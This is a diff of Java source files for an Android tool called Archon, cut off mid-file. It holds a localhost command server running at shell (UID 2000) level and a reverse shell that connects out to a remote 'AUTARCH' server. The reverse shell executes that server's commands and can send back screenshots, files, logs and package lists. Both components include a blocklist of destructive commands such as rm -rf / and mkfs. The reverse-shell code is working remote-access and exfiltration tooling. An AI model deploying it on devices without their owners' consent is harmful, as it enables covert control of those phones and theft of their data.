||||
private static int extractJsonInt(String json, String key, int defaultValue) {
|
||||
// Try "key":N pattern
|
||||
String searchKey = "\"" + key + "\":";
|
||||
int start = json.indexOf(searchKey);
|
||||
if (start < 0) return defaultValue;
|
||||
start += searchKey.length();
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int j = start; j < json.length(); j++) {
|
||||
char c = json.charAt(j);
|
||||
if (c == '-' || (c >= '0' && c <= '9')) {
|
||||
sb.append(c);
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
try {
|
||||
return Integer.parseInt(sb.toString());
|
||||
} catch (NumberFormatException e) {
|
||||
return defaultValue;
|
||||
}
|
||||
}
|
||||
|
||||
private static String readTokenFile() {
|
||||
try {
|
||||
java.io.File f = new java.io.File(DEFAULT_TOKEN_FILE);
|
||||
if (!f.exists()) return null;
|
||||
BufferedReader br = new BufferedReader(new java.io.FileReader(f));
|
||||
String token = br.readLine();
|
||||
br.close();
|
||||
if (token != null) token = token.trim();
|
||||
return (token != null && !token.isEmpty()) ? token : null;
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static void printHelp() {
|
||||
System.out.println("arish — Archon Remote Interactive Shell");
|
||||
System.out.println();
|
||||
System.out.println("Usage:");
|
||||
System.out.println(" arish Interactive shell (UID 2000)");
|
||||
System.out.println(" arish <command> Execute single command");
|
||||
System.out.println(" arish -t <token> Specify auth token");
|
||||
System.out.println(" arish -p <port> Specify server port (default: 17321)");
|
||||
System.out.println(" echo \"cmd\" | arish Pipe commands");
|
||||
System.out.println();
|
||||
System.out.println("The ArchonServer must be running (start from the Archon app Setup tab).");
|
||||
System.out.println("Commands execute at UID 2000 (shell) — same as adb shell.");
|
||||
System.out.println();
|
||||
System.out.println("Token is read from " + DEFAULT_TOKEN_FILE + " if not specified.");
|
||||
System.out.println("The Archon app writes this file when the server starts.");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,380 @@
|
||||
package com.darkhal.archon.server;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.FileWriter;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStreamWriter;
|
||||
import java.io.PrintWriter;
|
||||
import java.net.InetAddress;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.net.SocketTimeoutException;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.Date;
|
||||
import java.util.Locale;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import java.util.concurrent.atomic.AtomicBoolean;
|
||||
|
||||
/**
|
||||
* Archon Privileged Server — runs via app_process at shell (UID 2000) level.
|
||||
*
|
||||
* Started via ADB:
|
||||
* CLASSPATH=/data/app/.../base.apk app_process /system/bin \
|
||||
* --nice-name=archon_server com.darkhal.archon.server.ArchonServer <token> <port>
|
||||
*
|
||||
* Listens on localhost:<port> for JSON commands authenticated with a token.
|
||||
* Modeled after Shizuku's server architecture but uses TCP sockets instead of Binder IPC.
|
||||
*
|
||||
* Protocol (JSON over TCP, newline-delimited):
|
||||
* Request: {"token":"xxx","cmd":"pm list packages","timeout":30}
|
||||
* Response: {"stdout":"...","stderr":"...","exit_code":0}
|
||||
*
|
||||
* Special commands:
|
||||
* {"token":"xxx","cmd":"__ping__"} → {"stdout":"pong","stderr":"","exit_code":0}
|
||||
* {"token":"xxx","cmd":"__shutdown__"} → server exits gracefully
|
||||
* {"token":"xxx","cmd":"__info__"} → {"stdout":"uid=2000 pid=... uptime=...","stderr":"","exit_code":0}
|
||||
*/
|
||||
public class ArchonServer {
|
||||
|
||||
private static final String TAG = "ArchonServer";
|
||||
private static final String LOG_FILE = "/data/local/tmp/archon_server.log";
|
||||
private static final int DEFAULT_TIMEOUT = 30;
|
||||
private static final int SOCKET_TIMEOUT = 0; // No timeout on accept (blocking)
|
||||
|
||||
// Safety blocklist — commands that could brick the device
|
||||
private static final String[] BLOCKED_PATTERNS = {
|
||||
"rm -rf /",
|
||||
"rm -rf /*",
|
||||
"mkfs",
|
||||
"dd if=/dev/zero",
|
||||
"reboot",
|
||||
"shutdown",
|
||||
"init 0",
|
||||
"init 6",
|
||||
"flash_image",
|
||||
"erase_image",
|
||||
"format_data",
|
||||
"> /dev/block",
|
||||
};
|
||||
|
||||
private static String authToken;
|
||||
private static int listenPort;
|
||||
private static final AtomicBoolean running = new AtomicBoolean(true);
|
||||
private static ExecutorService executor;
|
||||
private static long startTime;
|
||||
|
||||
public static void main(String[] args) {
|
||||
if (args.length < 2) {
|
||||
System.err.println("Usage: ArchonServer <token> <port>");
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
authToken = args[0];
|
||||
listenPort = Integer.parseInt(args[1]);
|
||||
startTime = System.currentTimeMillis();
|
||||
|
||||
log("Starting Archon Server on port " + listenPort);
|
||||
log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid());
|
||||
|
||||
// Handle SIGTERM for graceful shutdown
|
||||
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
|
||||
log("Shutdown hook triggered");
|
||||
running.set(false);
|
||||
if (executor != null) {
|
||||
executor.shutdownNow();
|
||||
}
|
||||
}));
|
||||
|
||||
executor = Executors.newCachedThreadPool();
|
||||
|
||||
try {
|
||||
// Bind to localhost only — not accessible from network
|
||||
InetAddress loopback = InetAddress.getByName("127.0.0.1");
|
||||
ServerSocket serverSocket = new ServerSocket(listenPort, 5, loopback);
|
||||
log("Listening on 127.0.0.1:" + listenPort);
|
||||
|
||||
while (running.get()) {
|
||||
try {
|
||||
Socket client = serverSocket.accept();
|
||||
client.setSoTimeout(60000); // 60s read timeout per connection
|
||||
executor.submit(() -> handleClient(client));
|
||||
} catch (SocketTimeoutException e) {
|
||||
// Expected, loop continues
|
||||
} catch (IOException e) {
|
||||
if (running.get()) {
|
||||
log("Accept error: " + e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
serverSocket.close();
|
||||
} catch (IOException e) {
|
||||
log("Fatal: " + e.getMessage());
|
||||
System.exit(2);
|
||||
}
|
||||
|
||||
log("Server stopped");
|
||||
if (executor != null) {
|
||||
executor.shutdown();
|
||||
try {
|
||||
executor.awaitTermination(5, TimeUnit.SECONDS);
|
||||
} catch (InterruptedException ignored) {}
|
||||
}
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
private static void handleClient(Socket client) {
|
||||
String clientAddr = client.getRemoteSocketAddress().toString();
|
||||
log("Client connected: " + clientAddr);
|
||||
|
||||
try (
|
||||
BufferedReader reader = new BufferedReader(new InputStreamReader(client.getInputStream()));
|
||||
PrintWriter writer = new PrintWriter(new OutputStreamWriter(client.getOutputStream()), true)
|
||||
) {
|
||||
String line;
|
||||
while ((line = reader.readLine()) != null) {
|
||||
String response = processRequest(line);
|
||||
writer.println(response);
|
||||
writer.flush();
|
||||
|
||||
// Check if we should shut down after this request
|
||||
if (!running.get()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (IOException e) {
|
||||
log("Client error: " + e.getMessage());
|
||||
} finally {
|
||||
try { client.close(); } catch (IOException ignored) {}
|
||||
log("Client disconnected: " + clientAddr);
|
||||
}
|
||||
}
|
||||
|
||||
private static String processRequest(String json) {
|
||||
// Simple JSON parsing without dependencies
|
||||
String token = extractJsonString(json, "token");
|
||||
String cmd = extractJsonString(json, "cmd");
|
||||
int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT);
|
||||
|
||||
// No-auth alive check — allows any client to verify server is running
|
||||
if ("__alive__".equals(cmd)) {
|
||||
return jsonResponse("alive", "", 0);
|
||||
}
|
||||
|
||||
// Verify auth token
|
||||
if (token == null || !token.equals(authToken)) {
|
||||
log("Auth failed from request");
|
||||
return jsonResponse("", "Authentication failed", -1);
|
||||
}
|
||||
|
||||
if (cmd == null || cmd.isEmpty()) {
|
||||
return jsonResponse("", "No command specified", -1);
|
||||
}
|
||||
|
||||
// Handle special commands
|
||||
switch (cmd) {
|
||||
case "__ping__":
|
||||
return jsonResponse("pong", "", 0);
|
||||
|
||||
case "__shutdown__":
|
||||
log("Shutdown requested");
|
||||
running.set(false);
|
||||
return jsonResponse("Server shutting down", "", 0);
|
||||
|
||||
case "__info__":
|
||||
long uptime = (System.currentTimeMillis() - startTime) / 1000;
|
||||
String info = "uid=" + android.os.Process.myUid() +
|
||||
" pid=" + android.os.Process.myPid() +
|
||||
" uptime=" + uptime + "s";
|
||||
return jsonResponse(info, "", 0);
|
||||
}
|
||||
|
||||
// Safety check
|
||||
if (isBlocked(cmd)) {
|
||||
log("BLOCKED dangerous command: " + cmd);
|
||||
return jsonResponse("", "Command blocked by safety filter", -1);
|
||||
}
|
||||
|
||||
// Execute the command
|
||||
return executeCommand(cmd, timeout);
|
||||
}
|
||||
|
||||
private static boolean isBlocked(String cmd) {
|
||||
String lower = cmd.toLowerCase(Locale.ROOT).trim();
|
||||
for (String pattern : BLOCKED_PATTERNS) {
|
||||
if (lower.contains(pattern.toLowerCase(Locale.ROOT))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static String executeCommand(String cmd, int timeoutSec) {
|
||||
try {
|
||||
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
|
||||
pb.redirectErrorStream(false);
|
||||
Process process = pb.start();
|
||||
|
||||
// Read stdout and stderr in parallel to avoid deadlocks
|
||||
StringBuilder stdout = new StringBuilder();
|
||||
StringBuilder stderr = new StringBuilder();
|
||||
|
||||
Thread stdoutThread = new Thread(() -> {
|
||||
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
if (stdout.length() > 0) stdout.append("\n");
|
||||
stdout.append(line);
|
||||
}
|
||||
} catch (IOException ignored) {}
|
||||
});
|
||||
|
||||
Thread stderrThread = new Thread(() -> {
|
||||
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
if (stderr.length() > 0) stderr.append("\n");
|
||||
stderr.append(line);
|
||||
}
|
||||
} catch (IOException ignored) {}
|
||||
});
|
||||
|
||||
stdoutThread.start();
|
||||
stderrThread.start();
|
||||
|
||||
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
|
||||
|
||||
if (!completed) {
|
||||
process.destroyForcibly();
|
||||
stdoutThread.join(1000);
|
||||
stderrThread.join(1000);
|
||||
return jsonResponse(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1);
|
||||
}
|
||||
|
||||
stdoutThread.join(5000);
|
||||
stderrThread.join(5000);
|
||||
|
||||
return jsonResponse(stdout.toString(), stderr.toString(), process.exitValue());
|
||||
|
||||
} catch (Exception e) {
|
||||
return jsonResponse("", "Execution error: " + e.getMessage(), -1);
|
||||
}
|
||||
}
|
||||
|
||||
// ── JSON helpers (no library dependencies) ──────────────────────
|
||||
|
||||
private static String jsonResponse(String stdout, String stderr, int exitCode) {
|
||||
return "{\"stdout\":" + jsonEscape(stdout) +
|
||||
",\"stderr\":" + jsonEscape(stderr) +
|
||||
",\"exit_code\":" + exitCode + "}";
|
||||
}
|
||||
|
||||
private static String jsonEscape(String s) {
|
||||
if (s == null) return "\"\"";
|
||||
StringBuilder sb = new StringBuilder("\"");
|
||||
for (int i = 0; i < s.length(); i++) {
|
||||
char c = s.charAt(i);
|
||||
switch (c) {
|
||||
case '"': sb.append("\\\""); break;
|
||||
case '\\': sb.append("\\\\"); break;
|
||||
case '\b': sb.append("\\b"); break;
|
||||
case '\f': sb.append("\\f"); break;
|
||||
case '\n': sb.append("\\n"); break;
|
||||
case '\r': sb.append("\\r"); break;
|
||||
case '\t': sb.append("\\t"); break;
|
||||
default:
|
||||
if (c < 0x20) {
|
||||
sb.append(String.format("\\u%04x", (int) c));
|
||||
} else {
|
||||
sb.append(c);
|
||||
}
|
||||
}
|
||||
}
|
||||
sb.append("\"");
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static String extractJsonString(String json, String key) {
|
||||
// Pattern: "key":"value" or "key": "value"
|
||||
String search = "\"" + key + "\"";
|
||||
int idx = json.indexOf(search);
|
||||
if (idx < 0) return null;
|
||||
|
||||
idx = json.indexOf(':', idx + search.length());
|
||||
if (idx < 0) return null;
|
||||
|
||||
// Skip whitespace
|
||||
idx++;
|
||||
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
|
||||
|
||||
if (idx >= json.length() || json.charAt(idx) != '"') return null;
|
||||
idx++; // skip opening quote
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
while (idx < json.length()) {
|
||||
char c = json.charAt(idx);
|
||||
if (c == '\\' && idx + 1 < json.length()) {
|
||||
char next = json.charAt(idx + 1);
|
||||
switch (next) {
|
||||
case '"': sb.append('"'); break;
|
||||
case '\\': sb.append('\\'); break;
|
||||
case 'n': sb.append('\n'); break;
|
||||
case 'r': sb.append('\r'); break;
|
||||
case 't': sb.append('\t'); break;
|
||||
default: sb.append(next); break;
|
||||
}
|
||||
idx += 2;
|
||||
} else if (c == '"') {
|
||||
break;
|
||||
} else {
|
||||
sb.append(c);
|
||||
idx++;
|
||||
}
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static int extractJsonInt(String json, String key, int defaultVal) {
|
||||
String search = "\"" + key + "\"";
|
||||
int idx = json.indexOf(search);
|
||||
if (idx < 0) return defaultVal;
|
||||
|
||||
idx = json.indexOf(':', idx + search.length());
|
||||
if (idx < 0) return defaultVal;
|
||||
|
||||
idx++;
|
||||
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) {
|
||||
sb.append(json.charAt(idx));
|
||||
idx++;
|
||||
}
|
||||
|
||||
try {
|
||||
return Integer.parseInt(sb.toString());
|
||||
} catch (NumberFormatException e) {
|
||||
return defaultVal;
|
||||
}
|
||||
}
|
||||
|
||||
// ── Logging ─────────────────────────────────────────────────────
|
||||
|
||||
private static void log(String msg) {
|
||||
String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date());
|
||||
String line = timestamp + " [" + TAG + "] " + msg;
|
||||
System.out.println(line);
|
||||
|
||||
try {
|
||||
FileWriter fw = new FileWriter(LOG_FILE, true);
|
||||
fw.write(line + "\n");
|
||||
fw.close();
|
||||
} catch (IOException ignored) {
|
||||
// Can't write log file — not fatal
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,659 @@
|
||||
package com.darkhal.archon.server;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.FileWriter;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStreamWriter;
|
||||
import java.io.PrintWriter;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.Date;
|
||||
import java.util.Locale;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import java.util.concurrent.atomic.AtomicBoolean;
|
||||
|
||||
/**
|
||||
* Archon Reverse Shell — outbound shell connecting back to AUTARCH server.
|
||||
*
|
||||
* Runs via app_process at shell (UID 2000) level, same as ArchonServer.
|
||||
* Instead of LISTENING, this CONNECTS OUT to the AUTARCH server's RevShellListener.
|
||||
*
|
||||
* Started via ADB:
|
||||
* CLASSPATH=/data/app/.../base.apk app_process /system/bin \
|
||||
* --nice-name=archon_shell com.darkhal.archon.server.ArchonShell \
|
||||
* <server_ip> <server_port> <auth_token> <timeout_minutes>
|
||||
*
|
||||
* Protocol (JSON over TCP, newline-delimited):
|
||||
* Auth handshake (client → server):
|
||||
* {"type":"auth","token":"xxx","device":"model","android":"14","uid":2000}
|
||||
* Server response:
|
||||
* {"type":"auth_ok"} or {"type":"auth_fail","reason":"..."}
|
||||
*
|
||||
* Command (server → client):
|
||||
* {"type":"cmd","cmd":"pm list packages","timeout":30,"id":"abc123"}
|
||||
* Response (client → server):
|
||||
* {"type":"result","id":"abc123","stdout":"...","stderr":"...","exit_code":0}
|
||||
*
|
||||
* Special commands (server → client):
|
||||
* {"type":"cmd","cmd":"__sysinfo__","id":"..."}
|
||||
* {"type":"cmd","cmd":"__packages__","id":"..."}
|
||||
* {"type":"cmd","cmd":"__screenshot__","id":"..."}
|
||||
* {"type":"cmd","cmd":"__download__","id":"...","path":"/sdcard/file.txt"}
|
||||
* {"type":"cmd","cmd":"__upload__","id":"...","path":"/sdcard/file.txt","data":"base64..."}
|
||||
* {"type":"cmd","cmd":"__processes__","id":"..."}
|
||||
* {"type":"cmd","cmd":"__netstat__","id":"..."}
|
||||
* {"type":"cmd","cmd":"__dumplog__","id":"...","lines":100}
|
||||
* {"type":"cmd","cmd":"__disconnect__"}
|
||||
*
|
||||
* Keepalive (bidirectional):
|
||||
* {"type":"ping"} → {"type":"pong"}
|
||||
*/
|
||||
public class ArchonShell {
|
||||
|
||||
private static final String TAG = "ArchonShell";
|
||||
private static final String LOG_FILE = "/data/local/tmp/archon_shell.log";
|
||||
private static final int DEFAULT_TIMEOUT = 30;
|
||||
private static final int CONNECT_TIMEOUT_MS = 10000;
|
||||
private static final int KEEPALIVE_INTERVAL_MS = 30000;
|
||||
|
||||
// Same safety blocklist as ArchonServer
|
||||
private static final String[] BLOCKED_PATTERNS = {
|
||||
"rm -rf /",
|
||||
"rm -rf /*",
|
||||
"mkfs",
|
||||
"dd if=/dev/zero",
|
||||
"reboot",
|
||||
"shutdown",
|
||||
"init 0",
|
||||
"init 6",
|
||||
"flash_image",
|
||||
"erase_image",
|
||||
"format_data",
|
||||
"> /dev/block",
|
||||
};
|
||||
|
||||
private static String serverIp;
|
||||
private static int serverPort;
|
||||
private static String authToken;
|
||||
private static int timeoutMinutes;
|
||||
private static final AtomicBoolean running = new AtomicBoolean(true);
|
||||
private static long startTime;
|
||||
private static int commandCount = 0;
|
||||
|
||||
public static void main(String[] args) {
|
||||
if (args.length < 4) {
|
||||
System.err.println("Usage: ArchonShell <server_ip> <server_port> <token> <timeout_minutes>");
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
serverIp = args[0];
|
||||
serverPort = Integer.parseInt(args[1]);
|
||||
authToken = args[2];
|
||||
timeoutMinutes = Integer.parseInt(args[3]);
|
||||
startTime = System.currentTimeMillis();
|
||||
|
||||
log("Starting Archon Shell — connecting to " + serverIp + ":" + serverPort);
|
||||
log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid());
|
||||
log("Timeout: " + timeoutMinutes + " minutes");
|
||||
|
||||
// Shutdown hook
|
||||
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
|
||||
log("Shutdown hook triggered");
|
||||
running.set(false);
|
||||
}));
|
||||
|
||||
// Start timeout watchdog
|
||||
Thread watchdog = new Thread(() -> {
|
||||
long deadline = startTime + (timeoutMinutes * 60L * 1000L);
|
||||
while (running.get()) {
|
||||
if (System.currentTimeMillis() > deadline) {
|
||||
log("Auto-timeout after " + timeoutMinutes + " minutes");
|
||||
running.set(false);
|
||||
break;
|
||||
}
|
||||
try { Thread.sleep(5000); } catch (InterruptedException e) { break; }
|
||||
}
|
||||
});
|
||||
watchdog.setDaemon(true);
|
||||
watchdog.start();
|
||||
|
||||
// Connect and run shell loop
|
||||
Socket socket = null;
|
||||
try {
|
||||
socket = new Socket();
|
||||
socket.connect(new InetSocketAddress(serverIp, serverPort), CONNECT_TIMEOUT_MS);
|
||||
socket.setSoTimeout(KEEPALIVE_INTERVAL_MS * 2); // Read timeout for keepalive detection
|
||||
socket.setKeepAlive(true);
|
||||
|
||||
log("Connected to " + serverIp + ":" + serverPort);
|
||||
|
||||
BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
|
||||
PrintWriter writer = new PrintWriter(new OutputStreamWriter(socket.getOutputStream()), true);
|
||||
|
||||
// Send auth handshake
|
||||
if (!authenticate(writer, reader)) {
|
||||
log("Authentication failed — disconnecting");
|
||||
System.exit(3);
|
||||
}
|
||||
|
||||
log("Authenticated — entering shell loop");
|
||||
|
||||
// Main command loop: read commands from server, execute, return results
|
||||
shellLoop(reader, writer);
|
||||
|
||||
} catch (IOException e) {
|
||||
log("Connection failed: " + e.getMessage());
|
||||
System.exit(2);
|
||||
} finally {
|
||||
if (socket != null) {
|
||||
try { socket.close(); } catch (IOException ignored) {}
|
||||
}
|
||||
}
|
||||
|
||||
log("Shell stopped — " + commandCount + " commands executed");
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
private static boolean authenticate(PrintWriter writer, BufferedReader reader) throws IOException {
|
||||
// Gather device info
|
||||
String model = getSystemProp("ro.product.model", "unknown");
|
||||
String androidVer = getSystemProp("ro.build.version.release", "unknown");
|
||||
int uid = android.os.Process.myUid();
|
||||
|
||||
String authMsg = "{\"type\":\"auth\",\"token\":" + jsonEscape(authToken) +
|
||||
",\"device\":" + jsonEscape(model) +
|
||||
",\"android\":" + jsonEscape(androidVer) +
|
||||
",\"uid\":" + uid + "}";
|
||||
|
||||
writer.println(authMsg);
|
||||
writer.flush();
|
||||
|
||||
// Wait for auth response
|
||||
String response = reader.readLine();
|
||||
if (response == null) return false;
|
||||
|
||||
String type = extractJsonString(response, "type");
|
||||
if ("auth_ok".equals(type)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
String reason = extractJsonString(response, "reason");
|
||||
log("Auth rejected: " + (reason != null ? reason : "unknown reason"));
|
||||
return false;
|
||||
}
|
||||
|
||||
private static void shellLoop(BufferedReader reader, PrintWriter writer) {
|
||||
while (running.get()) {
|
||||
try {
|
||||
String line = reader.readLine();
|
||||
if (line == null) {
|
||||
log("Server closed connection");
|
||||
running.set(false);
|
||||
break;
|
||||
}
|
||||
|
||||
String type = extractJsonString(line, "type");
|
||||
if (type == null) continue;
|
||||
|
||||
switch (type) {
|
||||
case "cmd":
|
||||
handleCommand(line, writer);
|
||||
break;
|
||||
case "ping":
|
||||
writer.println("{\"type\":\"pong\"}");
|
||||
writer.flush();
|
||||
break;
|
||||
case "disconnect":
|
||||
log("Server requested disconnect");
|
||||
running.set(false);
|
||||
break;
|
||||
default:
|
||||
log("Unknown message type: " + type);
|
||||
break;
|
||||
}
|
||||
|
||||
} catch (java.net.SocketTimeoutException e) {
|
||||
// Send keepalive ping
|
||||
writer.println("{\"type\":\"ping\"}");
|
||||
writer.flush();
|
||||
} catch (IOException e) {
|
||||
log("Connection error: " + e.getMessage());
|
||||
running.set(false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void handleCommand(String json, PrintWriter writer) {
|
||||
String cmd = extractJsonString(json, "cmd");
|
||||
String id = extractJsonString(json, "id");
|
||||
int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT);
|
||||
|
||||
if (cmd == null || cmd.isEmpty()) {
|
||||
sendResult(writer, id, "", "No command specified", -1);
|
||||
return;
|
||||
}
|
||||
|
||||
commandCount++;
|
||||
log("CMD[" + commandCount + "] " + (cmd.length() > 80 ? cmd.substring(0, 80) + "..." : cmd));
|
||||
|
||||
// Handle special commands
|
||||
switch (cmd) {
|
||||
case "__sysinfo__":
|
||||
handleSysinfo(writer, id);
|
||||
return;
|
||||
case "__packages__":
|
||||
handlePackages(writer, id);
|
||||
return;
|
||||
case "__screenshot__":
|
||||
handleScreenshot(writer, id);
|
||||
return;
|
||||
case "__processes__":
|
||||
handleProcesses(writer, id);
|
||||
return;
|
||||
case "__netstat__":
|
||||
handleNetstat(writer, id);
|
||||
return;
|
||||
case "__dumplog__":
|
||||
int lines = extractJsonInt(json, "lines", 100);
|
||||
handleDumplog(writer, id, lines);
|
||||
return;
|
||||
case "__download__":
|
||||
String dlPath = extractJsonString(json, "path");
|
||||
handleDownload(writer, id, dlPath);
|
||||
return;
|
||||
case "__upload__":
|
||||
String ulPath = extractJsonString(json, "path");
|
||||
String ulData = extractJsonString(json, "data");
|
||||
handleUpload(writer, id, ulPath, ulData);
|
||||
return;
|
||||
case "__disconnect__":
|
||||
log("Disconnect command received");
|
||||
running.set(false);
|
||||
sendResult(writer, id, "Disconnecting", "", 0);
|
||||
return;
|
||||
}
|
||||
|
||||
// Safety check
|
||||
if (isBlocked(cmd)) {
|
||||
log("BLOCKED dangerous command: " + cmd);
|
||||
sendResult(writer, id, "", "Command blocked by safety filter", -1);
|
||||
return;
|
||||
}
|
||||
|
||||
// Execute regular shell command
|
||||
String response = executeCommand(cmd, timeout);
|
||||
writer.println(addId(response, id));
|
||||
writer.flush();
|
||||
}
|
||||
|
||||
// ── Special command handlers ────────────────────────────────────
|
||||
|
||||
private static void handleSysinfo(PrintWriter writer, String id) {
|
||||
StringBuilder info = new StringBuilder();
|
||||
info.append("Device: ").append(getSystemProp("ro.product.model", "?")).append("\n");
|
||||
info.append("Manufacturer: ").append(getSystemProp("ro.product.manufacturer", "?")).append("\n");
|
||||
info.append("Android: ").append(getSystemProp("ro.build.version.release", "?")).append("\n");
|
||||
info.append("SDK: ").append(getSystemProp("ro.build.version.sdk", "?")).append("\n");
|
||||
info.append("Build: ").append(getSystemProp("ro.build.display.id", "?")).append("\n");
|
||||
info.append("Kernel: ").append(getSystemProp("ro.build.kernel.id", "?")).append("\n");
|
||||
info.append("SELinux: ").append(readFile("/sys/fs/selinux/enforce", "?")).append("\n");
|
||||
info.append("UID: ").append(android.os.Process.myUid()).append("\n");
|
||||
info.append("PID: ").append(android.os.Process.myPid()).append("\n");
|
||||
info.append("Uptime: ").append((System.currentTimeMillis() - startTime) / 1000).append("s\n");
|
||||
info.append("Commands: ").append(commandCount).append("\n");
|
||||
|
||||
// Disk usage
|
||||
String df = quickExec("df -h /data 2>/dev/null | tail -1", 5);
|
||||
if (df != null && !df.isEmpty()) info.append("Disk: ").append(df.trim()).append("\n");
|
||||
|
||||
// Memory
|
||||
String mem = quickExec("cat /proc/meminfo | head -3", 5);
|
||||
if (mem != null) info.append(mem);
|
||||
|
||||
sendResult(writer, id, info.toString(), "", 0);
|
||||
}
|
||||
|
||||
private static void handlePackages(PrintWriter writer, String id) {
|
||||
String result = quickExec("pm list packages -f 2>/dev/null", 30);
|
||||
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
|
||||
}
|
||||
|
||||
private static void handleScreenshot(PrintWriter writer, String id) {
|
||||
// Capture screenshot to temp file, then base64 encode
|
||||
String tmpFile = "/data/local/tmp/archon_screenshot.png";
|
||||
String captureResult = quickExec("screencap -p " + tmpFile + " 2>&1", 10);
|
||||
|
||||
if (captureResult == null || new File(tmpFile).length() == 0) {
|
||||
sendResult(writer, id, "", "Screenshot failed: " + (captureResult != null ? captureResult : "unknown"), -1);
|
||||
return;
|
||||
}
|
||||
|
||||
// Base64 encode — read in chunks to avoid memory issues
|
||||
String b64 = quickExec("base64 " + tmpFile + " | tr -d '\\n'", 30);
|
||||
quickExec("rm " + tmpFile, 5);
|
||||
|
||||
if (b64 != null && !b64.isEmpty()) {
|
||||
sendResult(writer, id, b64, "", 0);
|
||||
} else {
|
||||
sendResult(writer, id, "", "Failed to encode screenshot", -1);
|
||||
}
|
||||
}
|
||||
|
||||
private static void handleProcesses(PrintWriter writer, String id) {
|
||||
String result = quickExec("ps -A -o PID,UID,STAT,NAME 2>/dev/null || ps -A 2>/dev/null", 10);
|
||||
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
|
||||
}
|
||||
|
||||
private static void handleNetstat(PrintWriter writer, String id) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
|
||||
String tcp = quickExec("cat /proc/net/tcp 2>/dev/null", 5);
|
||||
if (tcp != null) { sb.append("=== TCP ===\n").append(tcp).append("\n"); }
|
||||
|
||||
String tcp6 = quickExec("cat /proc/net/tcp6 2>/dev/null", 5);
|
||||
if (tcp6 != null) { sb.append("=== TCP6 ===\n").append(tcp6).append("\n"); }
|
||||
|
||||
String udp = quickExec("cat /proc/net/udp 2>/dev/null", 5);
|
||||
if (udp != null) { sb.append("=== UDP ===\n").append(udp).append("\n"); }
|
||||
|
||||
sendResult(writer, id, sb.toString(), "", 0);
|
||||
}
|
||||
|
||||
private static void handleDumplog(PrintWriter writer, String id, int lines) {
|
||||
String result = quickExec("logcat -d -t " + Math.min(lines, 5000) + " 2>/dev/null", 15);
|
||||
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
|
||||
}
|
||||
|
||||
private static void handleDownload(PrintWriter writer, String id, String path) {
|
||||
if (path == null || path.isEmpty()) {
|
||||
sendResult(writer, id, "", "No path specified", -1);
|
||||
return;
|
||||
}
|
||||
|
||||
File file = new File(path);
|
||||
if (!file.exists()) {
|
||||
sendResult(writer, id, "", "File not found: " + path, -1);
|
||||
return;
|
||||
}
|
||||
|
||||
if (file.length() > 50 * 1024 * 1024) { // 50MB limit
|
||||
sendResult(writer, id, "", "File too large (>50MB): " + file.length(), -1);
|
||||
return;
|
||||
}
|
||||
|
||||
String b64 = quickExec("base64 '" + path.replace("'", "'\\''") + "' | tr -d '\\n'", 60);
|
||||
if (b64 != null && !b64.isEmpty()) {
|
||||
// Send with metadata
|
||||
String meta = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") +
|
||||
",\"stdout\":" + jsonEscape(b64) +
|
||||
",\"stderr\":\"\",\"exit_code\":0" +
|
||||
",\"filename\":" + jsonEscape(file.getName()) +
|
||||
